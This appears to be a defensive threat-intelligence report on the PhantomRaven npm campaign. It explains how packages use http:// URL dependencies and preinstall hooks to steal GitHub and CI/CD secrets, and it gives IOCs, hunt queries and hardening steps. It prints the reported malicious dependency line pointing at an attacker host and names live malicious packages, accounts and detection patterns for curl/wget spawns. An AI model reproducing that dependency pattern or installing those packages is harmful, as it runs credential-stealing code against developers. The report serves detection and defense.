PhantomRaven: Invisible Remote Dynamic Dependencies Smuggle npm Malware Past Every Scanner

·

PhantomRaven is a supply-chain campaign that has pushed more than 200 malicious packages into the public npm registry since August 2025, drawing over 86,000 installs before the first wave was pulled. Its signature is a technique researchers named Remote Dynamic Dependencies (RDD): instead of shipping malicious code inside the published tarball, each package declares a dependency as a raw http:// URL. Registry-side analysers do not follow those links, so the package renders as "0 Dependencies" — while npm quietly downloads and runs attacker code on install.

In September 2026, CrowdStrike tied the operation to an individual who publicly claims to be a bug-bounty hunter, active since November 2022, and assessed with high confidence that the malware itself was written with the help of a large language model. The payload rifles a developer's machine and build environment for GitHub tokens and CI/CD secrets — the exact credentials that let one poisoned laptop metastasise into a repository-wide breach.

This report walks the full campaign: the actor profile, the multi-wave timeline, how RDD defeats dependency scanners, what the payload harvests, the C2 and exfiltration model, a responder's investigation runbook, the complete IOC set, paired KQL/SPL hunt queries, the MITRE ATT&CK mapping, and concrete hardening for developers and SOC teams.

◈ Table of Contents

01 Threat Actor Profile 02 Campaign Timeline 03 Initial Access — Slopsquatting 04 Technical Deep Dive — RDD 05 Payload & Credential Harvest 06 C2 & Exfiltration 07 DFIR Investigation Steps 08 Indicators of Compromise 09 Detection & Hunt Queries 10 MITRE ATT&CK Mapping 11 Mitigation & Hardening 12 Sources & References
🎭

01 · THREAT ACTOR PROFILE

Attribution

PhantomRaven began as an "unattributed" registry-flooding campaign first documented by Koi Security in October 2025. In September 2026, CrowdStrike published attribution linking the operation to a single operator who has, paradoxically, cultivated a public identity as a bug-bounty hunter — and who, per CrowdStrike, has "collected bounties from" at least nine organisations across technology, retail and hospitality. The same operator is assessed to have leaned on an LLM to author the malware, a growing pattern in low-skill-but-high-volume supply-chain abuse.

AttributeDetail
Campaign namePhantomRaven
Aliases / personaSelf-described bug-bounty hunter; multiple linked npm handles (see IOCs)
AttributionCrowdStrike — single-operator assessment (Sept 2026)
First activityNovember 2022 (operator); PhantomRaven npm packages from August 2025
MotivationCredential & CI/CD secret theft; token/secret monetisation
TargetingDevelopers & CI/CD build agents worldwide (opportunistic, non-sector-specific)
Signature TTPRemote Dynamic Dependencies (RDD) via http:// URL imports
Tooling originAssessed LLM-authored (verbose comments, placeholder code, token-analysis patterns)

Attribution here matters less than the technique. RDD is trivially reusable — any actor can copy the http:// dependency trick tomorrow. Hunt the behaviour (install-time fetches to non-registry hosts), not the persona.

🗓️

02 · CAMPAIGN TIMELINE

Aug 2025 → Sep 2026

PhantomRaven is not a single burst; it is a sustained, multi-wave operation that survived its first public takedown and simply re-seeded the registry.

►
Operation Timeline
Dated
  • 1August 2025 — First PhantomRaven packages appear on npm, seeded with RDD http:// dependencies.
  • 2October 2025 — Koi Security publicly documents the first wave: 126 malicious packages with 86,434 downloads, coining the term "Remote Dynamic Dependencies."
  • 3Nov 2025 – Feb 2026 — Waves two, three and four: 88 additional packages published. Even after reporting, ~81 remained live on npm.
  • 4September 2026 — CrowdStrike attributes the campaign to a single "bug-bounty hunter" operator, assesses LLM-authored malware, and observes expansion attempts to PyPI with a similar infostealer.
  • 5Ongoing — Two C2 servers remained active at time of the latest reporting; the RDD technique continues to evade static "0 dependencies" checks.
WaveWindowPackagesNotable
Wave 1Aug–Oct 202512686,434 downloads; Koi disclosure
Waves 2–4Nov 2025–Feb 202688~81 still live after reporting
AttributionSep 2026—CrowdStrike single-operator + PyPI pivot

Removal ≠ remediation. Waves 2–4 show the operator re-publishes faster than the registry can prune. Lockfiles pinned during the Aug 2025–Feb 2026 window may still reference a poisoned version — audit history, not just current installs.

🎣

03 · INITIAL ACCESS — SLOPSQUATTING

Delivery

PhantomRaven's entry vector is the developer's own package manager — but the lure is engineered for the age of AI-assisted coding. Alongside classic typosquatting, the operator uses slopsquatting: registering package names that LLM coding assistants are prone to hallucinate. When an assistant confidently suggests a plausible-but-nonexistent package, the attacker has often already claimed that exact name.

01
Slopsquat the Hallucinated Name
T1195.002

A developer asks an assistant to "remove unused imports" and the model suggests installing unused-imports — a truncation of the real eslint-plugin-unused-imports. The legitimate name is long and easy to mis-recall; the short one sounds right. PhantomRaven registered the short name and wired it to RDD.

Legit vs. malicious
# What the developer meant to install $ npm i -D eslint-plugin-unused-imports # What the assistant hallucinated — and PhantomRaven owns $ npm i unused-imports # resolves, installs, and phones home

Slopsquatting weaponises trust in the assistant. Never install a package name you have not verified against its canonical repo — copy the name from the project's README, not from a chat window.

02
Impersonate Recognisable Brands
Trust abuse

Beyond hallucinated names, the campaign published packages impersonating well-known organisations and even MCP (Model Context Protocol) server packages — riding the current gold-rush around AI tooling to blend into legitimate-looking install commands in tutorials and generated snippets.

🧬

04 · TECHNICAL DEEP DIVE — REMOTE DYNAMIC DEPENDENCIES

The core trick

This is the phase that makes PhantomRaven worth studying. npm supports specifying a dependency not only by registry version range, but by a direct URL. PhantomRaven abuses that feature: it points a dependency at an attacker-controlled http:// host. The published tarball on npm therefore contains no malicious code at all — the malice lives at the far end of the URL, fetched only at install time.

Figure 1 — PhantomRaven Remote Dynamic Dependency attack chain (CyberHawk analysis)
01
The http:// Dependency in package.json
Mechanism

A PhantomRaven package's manifest declares a dependency whose value is a raw HTTP URL on the attacker's server. npm dutifully downloads whatever tarball that URL returns and installs it as a transitive dependency. Because npmjs.com's own analysis pipeline does not follow off-registry URLs, the package page shows "0 Dependencies."

package.json — the RDD import (as reported)
// Published package advertises zero deps to scanners… "dependencies": { "ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports" } // …but npm fetches + installs the tarball from that host at install time.

The dependency uses plain http://, not https. Any egress proxy that can log or block cleartext HTTP fetches from node/npm to non-registry hosts will catch this — most environments simply never look.

02
Why Scanners Return "0 Dependencies"
Evasion

Static supply-chain scanners and the registry UI build their dependency graph from the manifest's registry-resolvable entries. An off-registry URL is opaque to them — they cannot resolve it, so they omit it. The result is a package that looks dependency-free and therefore low-risk, while carrying an entire second-stage supply chain the tools never see.

ObserverWhat it seesReality
npm registry page"0 Dependencies"1+ hidden http:// deps
Static SCA scannerClean dependency treeOff-registry fetch omitted
Developer / assistantLightweight, safe-lookingInstall-time remote code
npm client (install)Resolves the URLDownloads + runs payload
03
Preinstall Lifecycle Execution
T1059.007

The fetched second-stage package carries a preinstall lifecycle script. npm runs lifecycle hooks automatically during npm install, so the payload executes with the developer's privileges the moment the tree resolves — no manual step, no import, no runtime call required.

Conceptual install-time flow
$ npm install unused-imports → resolve manifest (shows 0 registry deps) → follow http://packages.storeartifact.com/... (RDD) → download second-stage tarball → run preinstall hook ← code execution here → recon + harvest + exfil

Running npm install --ignore-scripts blocks the preinstall hook and neutralises this exact chain. It should be the default in CI and is a one-line win for local dev too.

04
Signs of LLM-Authored Malware
Tradecraft

CrowdStrike assessed with high confidence that the payload was written with an LLM, citing verbose explanatory comments, leftover placeholder code, and statistical token-analysis patterns characteristic of model output. This lowers the skill floor: the operator supplies the delivery trick (RDD) and lets the model generate the stealer logic — enabling the high package volume seen across the waves.

🔑

05 · PAYLOAD & CREDENTIAL HARVEST

Post-execution

Once the preinstall hook runs, the payload performs environment reconnaissance and then systematically collects the credentials most valuable in a developer or build context. In CI/CD, those secrets live in environment variables the payload can simply read.

Collected artefactWhere it livesImpact
GitHub tokens / credsEnv vars, git config, npm configRepo read/write, further supply-chain poisoning
CI/CD secretsGitHub Actions, GitLab CI, Jenkins, CircleCI envPipeline takeover, cloud key access
npm auth token~/.npmrc / CI envPublish rights → poison more packages
Email addressesgit config user.email, environmentTargeting, phishing, identity linking
System fingerprintOS, hostname, architectureVictim triage, deduplication
Public IP addressOutbound lookupGeolocation, network attribution

The CI/CD angle is the danger. A GitHub Actions runner that installs a poisoned package hands over the workflow's secrets — cloud keys, registry tokens, signing material — enabling a single build to escalate into a full pipeline compromise. This is precisely how the adjacent CrowdSec/TanStack incident led to 170 private repositories being copied.

🧑‍💻

Local Developer Laptop

Personal GitHub token + SSH keys stolen; attacker pivots to private repos and cloud consoles the dev can reach.

⚙️

CI/CD Build Agent

Workflow secrets and cloud OIDC/keys exfiltrated during dependency install — pipeline-wide blast radius.

📦

Package Maintainer

Stolen npm publish token lets the actor poison the maintainer's own packages, spreading the campaign downstream.

🛰️

06 · C2 & EXFILTRATION

Infrastructure

The same infrastructure that serves the RDD payload also receives the stolen data. Reporting names packages.storeartifact.com as the primary delivery host, and describes an attacker fond of "artifact"-themed naming — a deliberate attempt to look like a benign package mirror in logs.

01
Delivery & C2 Hosts
T1071.001

The payload is served from an attacker-controlled host and stolen data is returned to attacker infrastructure. Two C2 servers were reported active at the time of the latest analysis. The naming conventions themselves are an IOC family: strings evoking package registries and artifact stores.

IndicatorTypeNote
packages.storeartifact.comDomain / C2Primary RDD delivery host (Koi)
*storeartifact*Naming patternAttacker host convention
*jpartifacts*Naming patternAttacker host convention
*artifactsnpm*Naming patternAttacker host convention
02
Redundant Exfiltration Channels
T1041

To survive network filtering, the stealer exfiltrates over multiple redundant methods: HTTP GET, HTTP POST, and even WebSocket connections. If one channel is blocked, another carries the data — a resilience pattern that also gives defenders multiple detection surfaces.

Multiple exfil channels cut both ways. A hunt that only watches POST bodies misses the GET and WebSocket variants — instrument on the destination host, not the method.

03
Infrastructure Pivots (Censys / Shodan)
Hunt

Given the naming conventions, defenders can pivot on the confirmed host and its TLS/HTTP fingerprints to surface sibling infrastructure. Start from the known domain, then pivot on shared certificates, favicons and response bodies.

Passive pivots
# Shodan / Censys style pivots on the known host + naming family shodan domain storeartifact.com censys search 'services.tls.certificates.leaf_data.subject.common_name: *artifact*' # Then correlate resolved IPs against your egress/proxy logs
🔬

07 · DFIR INVESTIGATION STEPS

Responder runbook

If you suspect a developer or runner installed a PhantomRaven package, work the following in order. The goal is to find http:// dependencies, confirm whether the preinstall hook ran, and scope credential exposure.

01
Hunt Manifests & Lockfiles for http:// Deps
Triage

The single highest-signal artefact is a dependency specified as a bare HTTP(S) URL. Grep every manifest and lockfile in the repo and on the host — including historical lockfile entries from the Aug 2025–Feb 2026 window.

bash — find RDD-style deps
# Any dependency value that is a raw URL instead of a semver range $ grep -rEn '"[^"]+"[[:space:]]*:[[:space:]]*"https?://' package.json package-lock.json # Flag the known naming family across the tree/lockfiles $ grep -rEi 'storeartifact|artifactsnpm|jpartifacts' . 2>/dev/null
02
Resolve the Real Dependency Tree
Confirm

The registry page lies; the installed tree does not. Enumerate what actually landed on disk and what a fresh resolve would fetch — a dry-run with scripts disabled is safe.

npm — enumerate what really installed
$ npm ls --all 2>/dev/null | grep -Ei 'storeartifact|artifactsnpm|jpartifacts' # Safe dry-run: see what WOULD be fetched without running any hook $ npm install --ignore-scripts --dry-run
03
Scope Credential Exposure & Rotate
Contain

Assume any secret readable by the install process is compromised. On a build agent, that is the entire workflow secret set; on a laptop, the local git/npm tokens and SSH keys.

  • 1Revoke & reissue GitHub PATs / OAuth tokens and npm publish tokens exposed to the host or runner.
  • 2Rotate every CI/CD secret in the affected pipeline (cloud keys, registry creds, signing keys).
  • 3Review GitHub/GitLab audit logs for anomalous repo clones or new SSH keys after the install time.
  • 4Check cloud provider logs for use of exfiltrated keys from unfamiliar IPs.

OAuth-token reuse can leave no trace in GitHub logs for the read itself — pair log review with credential rotation; do not rely on logs alone to rule out access.

📌

08 · INDICATORS OF COMPROMISE

IOCs

Only indicators confirmed in public reporting are listed. Full package lists and file hashes are enumerated in the Koi Security and Sonatype appendices linked in Sources — pull those into your IOC scanner for complete coverage.

Network / infrastructure
IndicatorTypeContext
packages.storeartifact.comDomainRDD payload delivery / C2
*storeartifact* · *jpartifacts* · *artifactsnpm*Host patternsAttacker naming family
http:// dependency URL in package.jsonBehaviourCore RDD indicator
Malicious / example packages (non-exhaustive)
PackageNote
unused-importsSlopsquat of eslint-plugin-unused-imports
ui-styles-pkgCarried the reported RDD http:// import
transform-jsbi-to-bigintPublished via account jpdhellonpm1 (CrowdStrike)
sort-imports-es6-autofixPublished via account jpd15 (CrowdStrike)
Attacker npm accounts (CrowdStrike)
HandleHandleHandle
jpdhellonpm1jpd15jpd12
jpd13npmhellnpmpackagejpd
npmtestdharshjpdhackerone11packagedharsh

Block/alert on any install-time HTTP fetch from node/npm to a non-registry host. That single behavioural rule catches PhantomRaven regardless of which package name or account is used next.

📡

09 · DETECTION & HUNT QUERIES

KQL · SPL · Sigma

Each query below is paired KQL (Microsoft Sentinel / Defender XDR) and SPL (Splunk), with a one-line statement of what it finds. Tune host/process fields to your schema.

DETECTS: Outbound connections from developer/build hosts to PhantomRaven infrastructure or the attacker naming family.
KQL — Defender network events
DeviceNetworkEvents | where RemoteUrl has_any ("storeartifact","jpartifacts","artifactsnpm") | where InitiatingProcessFileName has_any ("node.exe","node","npm.cmd","npm","yarn","pnpm") | project Timestamp, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessAccountName, InitiatingProcessCommandLine | sort by Timestamp desc
SPL — proxy / stream:http
index=proxy OR sourcetype=stream:http (url="*storeartifact*" OR url="*jpartifacts*" OR url="*artifactsnpm*") | stats count values(url) values(dest) earliest(_time) latest(_time) by src_ip, user | sort - count
DETECTS: A package manager reaching out over cleartext http:// to a non-registry host during install (the RDD fetch itself).
KQL — install-time HTTP fetch by npm/node
DeviceNetworkEvents | where InitiatingProcessFileName has_any ("node.exe","node","npm.cmd","npm") | where RemoteUrl startswith "http://" | where RemoteUrl !has "registry.npmjs.org" and RemoteUrl !has "registry.yarnpkg.com" | summarize hits=count() by DeviceName, RemoteUrl, InitiatingProcessCommandLine
SPL — non-registry http fetch from node/npm
index=edr process_name IN ("node.exe","node","npm","npm.cmd") | search dest_url="http://*" NOT dest_url IN ("http://registry.npmjs.org*", "http://registry.yarnpkg.com*") | table _time host user process_name dest_url process
DETECTS: preinstall/postinstall lifecycle hooks spawning shells or network tools — the code-execution moment.
KQL — lifecycle hook spawns interpreter
DeviceProcessEvents | where InitiatingProcessFileName has_any ("npm","npm.cmd","node","node.exe") | where FileName has_any ("cmd.exe","powershell.exe","sh","bash","curl","wget") | where InitiatingProcessCommandLine has_any ("preinstall","postinstall","install") | project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
SPL — install hook child process
index=edr (parent_process_name IN ("npm","node","npm.cmd","node.exe")) (process_name IN ("cmd.exe","powershell.exe","bash","sh","curl","wget")) | search parent_process="*install*" | stats count by host, user, parent_process, process
Sigma — install-time non-registry fetch (portable)
title: npm/node install-time fetch to non-registry HTTP host logsource: category: network_connection detection: selection: Initiated: 'true' SourceImage|endswith: ['\node.exe', '\npm.cmd'] filter: DestinationHostname|contains: ['registry.npmjs.org', 'registry.yarnpkg.com'] condition: selection and not filter level: high
🎯

10 · MITRE ATT&CK MAPPING

TTPs
TacticTechniqueIDPhantomRaven use
Resource DevelopmentStage Capabilities: Upload MalwareT1608.001Poisoned packages hosted on npm + RDD host
Initial AccessSupply Chain Compromise: Software DependenciesT1195.002Slopsquat/typosquat packages installed by victims
ExecutionCommand & Scripting: JavaScriptT1059.007preinstall lifecycle hook runs stealer
Defense EvasionObfuscated/Hidden ArtifactsT1027RDD hides payload off-registry ("0 deps")
Credential AccessUnsecured Credentials: Credentials in FilesT1552.001Reads .npmrc, git config, CI env secrets
DiscoverySystem Information DiscoveryT1082OS, hostname, architecture fingerprint
Command & ControlApplication Layer Protocol: WebT1071.001HTTP(S)/WebSocket to attacker host
ExfiltrationExfiltration Over C2 ChannelT1041Redundant GET/POST/WebSocket exfil
🛡️

11 · MITIGATION & HARDENING

Defend

PhantomRaven is defeated by two independent controls: stop install-time code execution, and block off-registry fetches. Apply both — belt and braces.

01
Disable Install Scripts by Default
Highest impact

Lifecycle hooks are the execution primitive. Turn them off globally and re-enable only for the handful of packages that genuinely need them.

# Global default — no lifecycle scripts run on install $ npm config set ignore-scripts true # In CI, make it explicit per install $ npm ci --ignore-scripts
02
Forbid Off-Registry / http:// Dependencies
Kills RDD

Pin installs to a trusted registry or internal proxy (Verdaccio, Artifactory, Nexus) and block direct URL dependencies. If npm cannot reach an arbitrary http:// host, RDD cannot deliver.

# Force a single trusted registry; deny arbitrary URL deps $ npm config set registry https://your-internal-proxy/ # Egress firewall: allow node/npm ONLY to the registry/proxy host # Alert on any http:// (cleartext) fetch from build agents
  • 1Enforce package-lock.json and review diffs for URL-valued dependency specs in code review.
  • 2Scan manifests in CI for https?:// dependency values and fail the build.
  • 3Use scoped, short-lived tokens and OIDC for cloud auth so a stolen static key is worthless.
  • 4Verify package names against canonical repos before install — defeat slopsquatting at the source.
Hardening complete when
  • ignore-scripts is enforced org-wide in CI and recommended for local dev
  • npm/yarn egress is restricted to the approved registry/proxy host only
  • CI lint fails any manifest with a raw http(s):// dependency value
  • CI/CD secrets are scoped, short-lived, and rotated after any suspicious install
  • PhantomRaven domains + naming family are loaded into the IOC scanner and SIEM
📚

12 · SOURCES & REFERENCES

Verify
🪶
Koi Security — PhantomRaven / Remote Dynamic Dependencies (original disclosure)
Full malicious package list + infrastructure appendix
↗
📦
Sonatype — PhantomRaven: npm Malware Uses Remote Dynamic Dependencies
Technique analysis + package appendix
↗
The Hacker News — Claimed Bug Bounty Hunter Likely Used LLM to Build PhantomRaven npm Stealer (CrowdStrike attribution) Sonatype — PhantomRaven: npm Malware Uses Remote Dynamic Dependencies CSO Online — PhantomRaven Returns to npm With 88 Bad Packages The Hacker News — PhantomRaven Malware Found in 126 npm Packages Stealing GitHub Tokens HackRead — CrowdStrike Links AI-Generated PhantomRaven Malware to Bug Bounty Hunter MITRE ATT&CK — T1195.002 Compromise Software Supply Chain: Software Dependencies

Audit your dependency tree before your next build. Run CyberHawk's free IOC Scanner against the PhantomRaven domains and naming family, and browse our SOP library for the CI/CD Pipeline Injection and GitHub Secret Exposure response playbooks referenced in this report.

Want the paired KQL/SPL hunts as ready-to-deploy analytics rules? They live in our Live Tools collection alongside the full CyberHawk detection pack.

◈ Stay Connected

Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.

🌐 Website ▶️ YouTube ▶️ YouTube (2) 𝕏 Twitter / X ♪ TikTok ✈️ Telegram
🔍 IOC Scanner 🛠️ Live Tools 📚 Courses 🚨 Threat Intel 📝 Blog 📋 SOPs

"They can't exploit you if you are the Exploit."